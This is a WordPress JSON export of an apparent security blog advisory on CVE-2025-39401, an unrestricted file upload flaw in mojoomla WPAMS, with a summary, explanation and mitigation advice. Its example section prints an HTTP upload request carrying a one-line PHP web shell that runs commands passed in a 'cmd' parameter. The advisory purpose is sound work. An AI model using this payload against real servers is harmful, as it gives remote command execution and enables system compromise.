{"id":44743,"date":"2025-05-26T18:47:29","date_gmt":"2025-05-26T18:47:29","guid":{"rendered":""},"modified":"2025-06-15T01:05:57","modified_gmt":"2025-06-15T07:05:57","slug":"cve-2025-39401-unrestricted-file-upload-leading-to-potential-system-compromise-in-mojoomla-wpams","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39401-unrestricted-file-upload-leading-to-potential-system-compromise-in-mojoomla-wpams\/","title":{"rendered":"<strong>CVE-2025-39401: Unrestricted File Upload leading to Potential System Compromise in mojoomla WPAMS<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-39401 is a severe vulnerability that affects mojoomla&#8217;s WPAMS from its initial version up until version 44.0, released on August 17, 2023. This vulnerability is of particular concern because it allows an attacker to upload a web shell to a web server, potentially leading to a full system compromise or data leakage. As WPAMS is widely used, a significant number of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46490-puzzling-vulnerability-in-crossword-compiler-puzzles-risks-system-compromise\/\"  data-wpil-monitor-id=\"54593\">systems are at risk<\/a> of being exploited. Immediate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47933-arbitrary-actions-and-cross-site-scripting-vulnerability-in-argo-cd\/\"  data-wpil-monitor-id=\"58466\">action is recommended to mitigate this vulnerability<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39401<br \/>\nSeverity: Critical (CVSS score 10.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Full <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-26625-linux-kernel-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"54594\">system compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-649323805\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>mojoomla WPAMS | n\/a to 44.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4564-arbitrary-file-deletion-vulnerability-in-ticketbai-facturas-para-woocommerce-plugin\/\"  data-wpil-monitor-id=\"50159\">vulnerability is based on the unrestricted file<\/a> upload mechanism in mojoomla WPAMS. In normal circumstances, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4391-wordpress-echo-rss-feed-post-generator-plugin-arbitrary-file-upload-vulnerability\/\"  data-wpil-monitor-id=\"50850\">file upload<\/a> mechanisms are designed to only accept specified file types. However, in this case, the lack of proper <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4389-arbitrary-file-upload-vulnerability-in-wordpress-crawlomatic-multipage-scraper-post-generator-plugin\/\"  data-wpil-monitor-id=\"51091\">file type validation enables the attacker to upload<\/a> malicious file types, including web shells.<br \/>\nA web shell is a script that, when executed on a server, provides a hacker with a means of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36535-unrestricted-remote-access-due-to-lack-of-web-server-authentication-and-access-controls\/\"  data-wpil-monitor-id=\"52760\">remote control over the server<\/a>. In this case, an attacker could upload a web shell to the web server through WPAMS, execute it, and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4759-incorrect-behavior-order-in-lockfile-lint-api-package-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"51140\">potentially gain complete control over the system<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3345906857\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"58467\">vulnerability might be exploited<\/a>. This is a sample HTTP POST request that uploads a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24189-memory-corruption-vulnerability-due-to-maliciously-crafted-web-content-in-various-operating-systems\/\"  data-wpil-monitor-id=\"51809\">malicious web<\/a> shell:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wpams\/upload HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the file `shell.php` is a simple web shell that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-42136-arbitrary-command-execution-vulnerability-in-pax-android-pos-devices\/\"  data-wpil-monitor-id=\"51808\">executes commands<\/a> passed via the `cmd` GET parameter. Once uploaded and executed, it <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41075-high-risk-type-confusion-vulnerability-allowing-arbitrary-code-execution-with-kernel-privileges\/\"  data-wpil-monitor-id=\"51592\">allows the attacker to run arbitrary<\/a> commands on the server.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The best mitigation is to apply the vendor patch as soon as it is available. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block or alert on suspicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39380-mojoomla-hospital-management-system-file-upload-vulnerability\/\"  data-wpil-monitor-id=\"52013\">file uploads<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-39401 is a severe vulnerability that affects mojoomla&#8217;s WPAMS from its initial version up until version 44.0, released on August 17, 2023. This vulnerability is of particular concern because it allows an attacker to upload a web shell to a web server, potentially leading to a full system compromise or data leakage. As WPAMS [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-44743","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/44743","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=44743"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/44743\/revisions"}],"predecessor-version":[{"id":52188,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/44743\/revisions\/52188"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=44743"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=44743"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=44743"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=44743"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=44743"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=44743"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=44743"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=44743"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=44743"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}